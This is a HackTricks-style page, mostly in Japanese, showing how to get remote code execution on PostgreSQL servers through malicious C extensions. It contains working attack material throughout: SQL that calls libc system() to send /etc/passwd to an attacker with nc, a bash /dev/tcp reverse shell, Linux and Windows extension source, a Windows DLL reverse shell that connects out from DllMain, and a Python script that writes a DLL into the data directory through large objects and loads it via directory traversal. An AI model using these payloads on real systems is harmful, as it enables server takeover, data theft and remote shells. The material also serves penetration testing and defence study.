RCE with PostgreSQL Extensions

Support HackTricks

PostgreSQL Extensions

PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合することができます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。

バージョン8.1以降、拡張ライブラリには特定の要件が課せられています:特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。

また、PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読むべきです。

RCE in Linux

For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です:Metasploit module.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64からバイナリファイルを書く

Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

しかし、より新しいバージョンで試みたところ、次のエラーが表示されました:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

このエラーはPostgreSQLのドキュメントで説明されています:

動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

PostgreSQL 8.2以降、攻撃者がシステムを悪用するプロセスはより困難になりました。攻撃者は、システム上に既に存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、互換性のあるメジャーバージョンのPostgreSQLに対してコンパイルされ、特定の「マジックブロック」を含む必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上がり、システムのアーキテクチャやバージョンの互換性についてのより深い理解が必要になります。

ライブラリをコンパイルする

次のコマンドでPostgreSQLのバージョンを取得します:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

互換性のために、主要バージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。

そのバージョンをシステムにインストールするには:

apt install postgresql postgresql-server-dev-9.6

ライブラリをコンパイルします:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

次に、コンパイルされたライブラリをアップロードし、次のコマンドを実行します:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

このライブラリは事前コンパイル済みで、いくつかの異なるPostgreSQLバージョンに対応しており、さらにこのプロセスを自動化することもできます(PostgreSQLアクセスがある場合):

WindowsでのRCE

次のDLLは、バイナリの名前実行したい回数を入力として受け取り、それを実行します:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

このZIPファイルにコンパイルされたDLLがあります:

4KB
pgsql_exec.zip
archive

このDLLに実行するバイナリと実行回数を指定できます。この例では、calc.exeを2回実行します:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

ここ でこのリバースシェルを見つけることができます:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

注意、この場合悪意のあるコードはDllMain関数内にあります。これは、この場合、postgresqlで読み込まれた関数を実行する必要がなく、単にDLLを読み込むことでリバースシェルが実行されることを意味します:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

The PolyUDF project は、フル MS Visual Studio プロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(command evalexeccleanup を含む)を提供する良い出発点です。

最新の PostgreSQL バージョンにおける RCE

最新のバージョンの PostgreSQL では、superuser が特定のディレクトリ(Windows の C:\Program Files\PostgreSQL\11\lib や *nix システムの /var/lib/postgresql/11/lib など)以外から共有ライブラリファイルを ロードすることが 禁止されています。これらのディレクトリは、NETWORK_SERVICE または postgres アカウントによる書き込み操作から 保護されています。

これらの制限にもかかわらず、認証されたデータベース superuser は「大きなオブジェクト」を使用してファイルシステムに バイナリファイルを書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な C:\Program Files\PostgreSQL\11\data ディレクトリ内への書き込みにも及びます。

重大な脆弱性は、CREATE FUNCTION コマンドから生じます。これはデータディレクトリへの ディレクトリトラバーサル許可します。その結果、認証された攻撃者はこのトラバーサルを 悪用してデータディレクトリに共有ライブラリファイルを書き込み、次にそれを ロードすることができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。

攻撃フロー

まず、大きなオブジェクトを使用して dll をアップロードする必要があります。その方法については、こちらを参照してください:

Big Binary Files Upload (PostgreSQL)

拡張機能(この例では poc.dll の名前)をデータディレクトリにアップロードしたら、次のようにしてそれをロードできます:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Note that you don't need to append the .dll extension as the create function will add it.

For more information read the original publication here. In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

参考文献

HackTricksをサポートする

Last updated